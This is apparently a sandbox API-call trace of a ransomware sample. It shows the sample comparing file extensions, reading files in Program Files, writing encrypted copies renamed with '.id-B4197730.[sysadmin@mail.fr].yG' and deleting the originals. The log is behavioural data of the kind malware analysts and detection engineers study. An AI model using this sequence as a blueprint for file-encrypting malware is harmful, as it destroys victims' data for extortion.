	[0181.702] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.702] lstrlenW (lpString=".docx") returned 5
	[0181.702] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0181.702] lstrlenW (lpString=".pdf") returned 4
	[0181.702] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.702] lstrlenW (lpString=".xls") returned 4
	[0181.702] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.702] lstrlenW (lpString=".xlsx") returned 5
	[0181.702] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0181.702] lstrlenW (lpString=".ppt") returned 4
	[0181.702] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.702] lstrlenW (lpString=".zip") returned 4
	[0181.702] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.702] lstrlenW (lpString=".rar") returned 4
	[0181.702] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.702] lstrlenW (lpString=".bz2") returned 4
	[0181.703] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.703] lstrlenW (lpString=".7z") returned 3
	[0181.703] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.703] lstrlenW (lpString=".dbf") returned 4
	[0181.703] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.703] lstrlenW (lpString=".1cd") returned 4
	[0181.703] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.703] lstrlenW (lpString=".jpg") returned 4
	[0181.703] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.703] lstrlenW (lpString=".doc") returned 4
	[0181.703] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.703] lstrlenW (lpString=".docx") returned 5
	[0181.703] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0181.703] lstrlenW (lpString=".pdf") returned 4
	[0181.703] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.703] lstrlenW (lpString=".xls") returned 4
	[0181.703] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.703] lstrlenW (lpString=".xlsx") returned 5
	[0181.703] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0181.703] lstrlenW (lpString=".ppt") returned 4
	[0181.703] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.704] lstrlenW (lpString=".zip") returned 4
	[0181.704] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.704] lstrlenW (lpString=".rar") returned 4
	[0181.704] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.704] lstrlenW (lpString=".bz2") returned 4
	[0181.704] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.704] lstrlenW (lpString=".7z") returned 3
	[0181.704] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.704] lstrlenW (lpString=".dbf") returned 4
	[0181.704] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.704] lstrlenW (lpString=".1cd") returned 4
	[0181.704] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.704] lstrlenW (lpString=".jpg") returned 4
	[0181.704] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.704] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0181.704] lstrlenW (lpString="vstoee90.tlb") returned 12
	[0181.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0181.705] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=22680) returned 1
	[0181.705] CloseHandle (hObject=0x350) returned 1
	[0181.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20
	[0181.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0181.706] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.706] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0181.707] GetLastError () returned 0x0
	[0181.707] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x5898, lpOverlapped=0x0) returned 1
	[0181.975] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x58a0, lpOverlapped=0x0) returned 1
	[0181.977] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.977] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.977] SetEndOfFile (hFile=0x35c) returned 1
	[0181.977] CloseHandle (hObject=0x35c) returned 1
	[0181.977] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.977] SetEndOfFile (hFile=0x350) returned 1
	[0181.978] CloseHandle (hObject=0x350) returned 1
	[0181.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0181.978] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1
	[0181.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.979] lstrlenW (lpString=".doc") returned 4
	[0181.979] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.979] lstrlenW (lpString=".docx") returned 5
	[0181.979] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0181.979] lstrlenW (lpString=".pdf") returned 4
	[0181.979] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.979] lstrlenW (lpString=".xls") returned 4
	[0181.979] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.979] lstrlenW (lpString=".xlsx") returned 5
	[0181.979] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0181.979] lstrlenW (lpString=".ppt") returned 4
	[0181.979] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.979] lstrlenW (lpString=".zip") returned 4
	[0181.979] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.979] lstrlenW (lpString=".rar") returned 4
	[0181.979] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.979] lstrlenW (lpString=".bz2") returned 4
	[0181.979] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.979] lstrlenW (lpString=".7z") returned 3
	[0181.979] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.979] lstrlenW (lpString=".dbf") returned 4
	[0181.980] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.980] lstrlenW (lpString=".1cd") returned 4
	[0181.980] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.980] lstrlenW (lpString=".jpg") returned 4
	[0181.980] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.980] lstrlenW (lpString=".doc") returned 4
	[0181.980] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.980] lstrlenW (lpString=".docx") returned 5
	[0181.980] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0181.980] lstrlenW (lpString=".pdf") returned 4
	[0181.980] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.980] lstrlenW (lpString=".xls") returned 4
	[0181.980] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.980] lstrlenW (lpString=".xlsx") returned 5
	[0181.980] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0181.980] lstrlenW (lpString=".ppt") returned 4
	[0181.980] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.980] lstrlenW (lpString=".zip") returned 4
	[0181.980] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.980] lstrlenW (lpString=".rar") returned 4
	[0181.980] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.980] lstrlenW (lpString=".bz2") returned 4
	[0181.980] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.980] lstrlenW (lpString=".7z") returned 3
	[0181.981] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.981] lstrlenW (lpString=".dbf") returned 4
	[0181.981] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.981] lstrlenW (lpString=".1cd") returned 4
	[0181.981] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0181.981] lstrlenW (lpString=".jpg") returned 4
	[0181.981] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.981] lstrcmpiW (lpString1=".ins", lpString2=".yG") returned -1
	[0181.981] lstrlenW (lpString="install.ins") returned 11
	[0181.981] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0181.983] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=452) returned 1
	[0181.983] CloseHandle (hObject=0x350) returned 1
	[0181.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20
	[0181.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.984] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0181.984] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.984] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.984] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0181.984] GetLastError () returned 0x0
	[0181.984] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x1c4, lpOverlapped=0x0) returned 1
	[0181.986] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x1d0, lpOverlapped=0x0) returned 1
	[0181.987] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.987] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0xea, lpOverlapped=0x0) returned 1
	[0181.989] SetEndOfFile (hFile=0x35c) returned 1
	[0181.989] CloseHandle (hObject=0x35c) returned 1
	[0181.990] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.990] SetEndOfFile (hFile=0x350) returned 1
	[0181.990] CloseHandle (hObject=0x350) returned 1
	[0181.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0181.991] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1
	[0181.991] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.991] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.991] lstrlenW (lpString=".doc") returned 4
	[0181.991] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1
	[0181.991] lstrlenW (lpString=".docx") returned 5
	[0181.991] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1
	[0181.991] lstrlenW (lpString=".pdf") returned 4
	[0181.992] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1
	[0181.992] lstrlenW (lpString=".xls") returned 4
	[0181.992] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1
	[0181.992] lstrlenW (lpString=".xlsx") returned 5
	[0181.992] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1
	[0181.992] lstrlenW (lpString=".ppt") returned 4
	[0181.992] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1
	[0181.992] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.992] lstrlenW (lpString=".zip") returned 4
	[0181.992] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1
	[0181.992] lstrlenW (lpString=".rar") returned 4
	[0181.992] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1
	[0181.992] lstrlenW (lpString=".bz2") returned 4
	[0181.992] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1
	[0181.992] lstrlenW (lpString=".7z") returned 3
	[0181.992] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1
	[0181.992] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.992] lstrlenW (lpString=".dbf") returned 4
	[0181.992] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1
	[0181.993] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.993] lstrlenW (lpString=".1cd") returned 4
	[0181.993] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1
	[0181.993] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.993] lstrlenW (lpString=".jpg") returned 4
	[0181.993] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1
	[0181.993] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.993] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.993] lstrlenW (lpString=".doc") returned 4
	[0181.993] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1
	[0181.993] lstrlenW (lpString=".docx") returned 5
	[0181.993] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1
	[0181.993] lstrlenW (lpString=".pdf") returned 4
	[0181.993] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1
	[0181.993] lstrlenW (lpString=".xls") returned 4
	[0181.993] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1
	[0181.993] lstrlenW (lpString=".xlsx") returned 5
	[0181.993] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1
	[0181.994] lstrlenW (lpString=".ppt") returned 4
	[0181.994] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1
	[0181.994] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.994] lstrlenW (lpString=".zip") returned 4
	[0181.994] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1
	[0181.994] lstrlenW (lpString=".rar") returned 4
	[0181.994] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1
	[0181.994] lstrlenW (lpString=".bz2") returned 4
	[0181.994] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1
	[0181.994] lstrlenW (lpString=".7z") returned 3
	[0181.994] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1
	[0181.994] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.994] lstrlenW (lpString=".dbf") returned 4
	[0181.994] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1
	[0181.994] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.994] lstrlenW (lpString=".1cd") returned 4
	[0181.994] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1
	[0181.994] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0181.994] lstrlenW (lpString=".jpg") returned 4
	[0181.994] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1
	[0181.995] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0181.995] lstrlenW (lpString="sqmapi.dll") returned 10
	[0181.995] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0181.996] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=49688) returned 1
	[0181.996] CloseHandle (hObject=0x350) returned 1
	[0181.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20
	[0181.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.997] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.997] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0181.997] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0181.997] lstrlenW (lpString=".doc") returned 4
	[0181.997] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.997] lstrlenW (lpString=".docx") returned 5
	[0181.997] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0181.997] lstrlenW (lpString=".pdf") returned 4
	[0181.997] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.997] lstrlenW (lpString=".xls") returned 4
	[0181.997] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.997] lstrlenW (lpString=".xlsx") returned 5
	[0181.997] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0181.997] lstrlenW (lpString=".ppt") returned 4
	[0181.998] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.998] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0181.998] lstrlenW (lpString=".zip") returned 4
	[0181.998] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.998] lstrlenW (lpString=".rar") returned 4
	[0181.998] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.998] lstrlenW (lpString=".bz2") returned 4
	[0181.998] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.998] lstrlenW (lpString=".7z") returned 3
	[0181.998] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.998] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0181.998] lstrlenW (lpString=".dbf") returned 4
	[0181.998] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.998] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0181.998] lstrlenW (lpString=".1cd") returned 4
	[0181.998] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.998] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0181.998] lstrlenW (lpString=".jpg") returned 4
	[0181.999] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.999] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0181.999] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0181.999] lstrlenW (lpString=".doc") returned 4
	[0181.999] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.999] lstrlenW (lpString=".docx") returned 5
	[0181.999] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0181.999] lstrlenW (lpString=".pdf") returned 4
	[0181.999] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.999] lstrlenW (lpString=".xls") returned 4
	[0181.999] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.999] lstrlenW (lpString=".xlsx") returned 5
	[0181.999] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0181.999] lstrlenW (lpString=".ppt") returned 4
	[0181.999] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.999] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0181.999] lstrlenW (lpString=".zip") returned 4
	[0182.000] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0182.000] lstrlenW (lpString=".rar") returned 4
	[0182.000] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0182.000] lstrlenW (lpString=".bz2") returned 4
	[0182.000] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0182.000] lstrlenW (lpString=".7z") returned 3
	[0182.000] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0182.000] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0182.000] lstrlenW (lpString=".dbf") returned 4
	[0182.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0182.000] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0182.000] lstrlenW (lpString=".1cd") returned 4
	[0182.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0182.000] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45
	[0182.000] lstrlenW (lpString=".jpg") returned 4
	[0182.000] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0182.001] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0182.001] lstrlenW (lpString="awt.dll") returned 7
